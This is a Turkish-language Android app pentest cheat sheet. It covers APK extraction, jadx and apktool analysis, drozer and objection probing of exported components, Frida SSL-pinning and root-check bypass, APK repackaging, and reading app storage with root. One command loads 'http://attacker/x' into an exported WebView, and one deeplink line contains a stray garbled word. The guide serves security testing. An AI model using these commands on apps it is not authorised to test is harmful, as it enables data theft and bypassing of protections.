Skip to content

Android Uygulama Pentest

android difficulty: orta

Android testi; Manifest’teki saldırı yüzeyi, decompile edilmiş kod ve runtime hook üçlüsüne dayanır. Root’lu laboratuvar cihazı veya emülatör + Burp CA ile trafik görünür hale getirilir.

- APK / split APK’lar, adb, JDK
- Root veya Magisk (Frida server); Burp CA kullanıcı/sistem deposu
- Araçlar: jadx, apktool, apksigner, frida, objection, drozer
  1. Paketi çek / imzayı ve AndroidManifest.xml yüzeyi çıkar.

  2. jadx ile secret, crypto, WebView, root/pinning kontrollerini tara.

  3. Proxy + pinning bypass; API yüzeyini Burp’ta haritala.

  4. Exported activity/service/receiver/provider ve deeplink’leri sömür.

  5. Depolama (SharedPreferences, DB, harici depo) ve IPC yetkisini doğrula.

Terminal window
adb devices
Terminal window
adb shell pm path com.hedef.app
Terminal window
adb pull /data/app/~~HASH==/com.hedef.app-HASH==/base.apk ./base.apk
Terminal window
jadx -d ./jadx_out base.apk
Terminal window
apktool d base.apk -o apktool_out
Terminal window
# Manifest’te exported / permission / cleartextTraffic
rg -n "exported|android:permission|usesCleartextTraffic|deeplink|android:scheme" apktool_out/AndroidManifest.xml
Terminal window
apksigner verify --print-certs base.apk
Terminal window
unzip -l base.apk | rg '\.(so|json|properties|pem|key)$'
exported=true activity/service/receiver/provider
intent-filter → deeplink (scheme/host/path)
backup / debuggable bayrakları
networkSecurityConfig / cleartext
Terminal window
aapt dump badging base.apk | rg "package:|launchable|uses-permission"
Terminal window
adb forward tcp:31415 tcp:31415
Terminal window
drozer console connect
run app.package.attacksurface com.hedef.app
run app.activity.info -a com.hedef.app
run app.provider.info -a com.hedef.app
run app.provider.query content://com.hedef.app.provider/users
Terminal window
objection -g com.hedef.app explore
android hooking list activities
android intent launch_activity com.hedef.app/.ExportedActivity
android clipboard monitor
Terminal window
adb shell am start -a android.intent.action.VIEW -d 'hedef://reset?token=AAAA'
Terminal window
adb shell am start -n com.hedef.app/.WebViewActivity --es url 'http://attacker/x'
Terminal window
adb shell am start -a android.intent.action.VIEW -d 'https://app.hedef.com/ Magician'

Deeplink’te açık yönlendirme, token sızıntısı veya WebView URL yükleme sık görülür; API tarafı için IDOR.

Terminal window
adb push frida-server /data/local/tmp/frida-server
Terminal window
adb shell chmod 755 /data/local/tmp/frida-server
Terminal window
adb shell /data/local/tmp/frida-server &
Terminal window
frida-ps -U | rg -i hedef
Terminal window
frida -U -f com.hedef.app -l bypass-ssl.js --no-pause
Terminal window
objection -g com.hedef.app explore
android sslpinning disable
android root disable
Terminal window
frida -U -f com.hedef.app -l frida-multiple-unpinning.js --no-pause

Pinning OkHttp / TrustManager / native katmanda olabilir; jadx’te CertificatePinner ara.

Terminal window
adb reverse tcp:8080 tcp:8080
Terminal window
adb shell settings put global http_proxy 127.0.0.1:8080
Terminal window
apktool d base.apk -o patch
Terminal window
apktool b patch -o patched.apk
Terminal window
uber-apk-signer -a patched.apk
Terminal window
adb install -r patched-aligned-debugSigned.apk
Terminal window
adb shell 'su -c "cat /data/data/com.hedef.app/shared_prefs/*.xml"'
objection: android keystore list · memory search "password"

frida · spawn + script

embedded tool
Generated command
frida -U -f com.hedef.app -l bypass-ssl.js --no-pause
Exported IPC → auth’suz veri / intent injection
WebView → JavaScriptInterface, file://, açık URL
Crypto → ECB, sabit IV/key, plaintext token
Backup/debug → allowBackup, debuggable
API → broken authz, IDOR (bkz. /web/)
jadx Manifest → exported provider → drozer query
→ Frida unpin → Burp’ta IDOR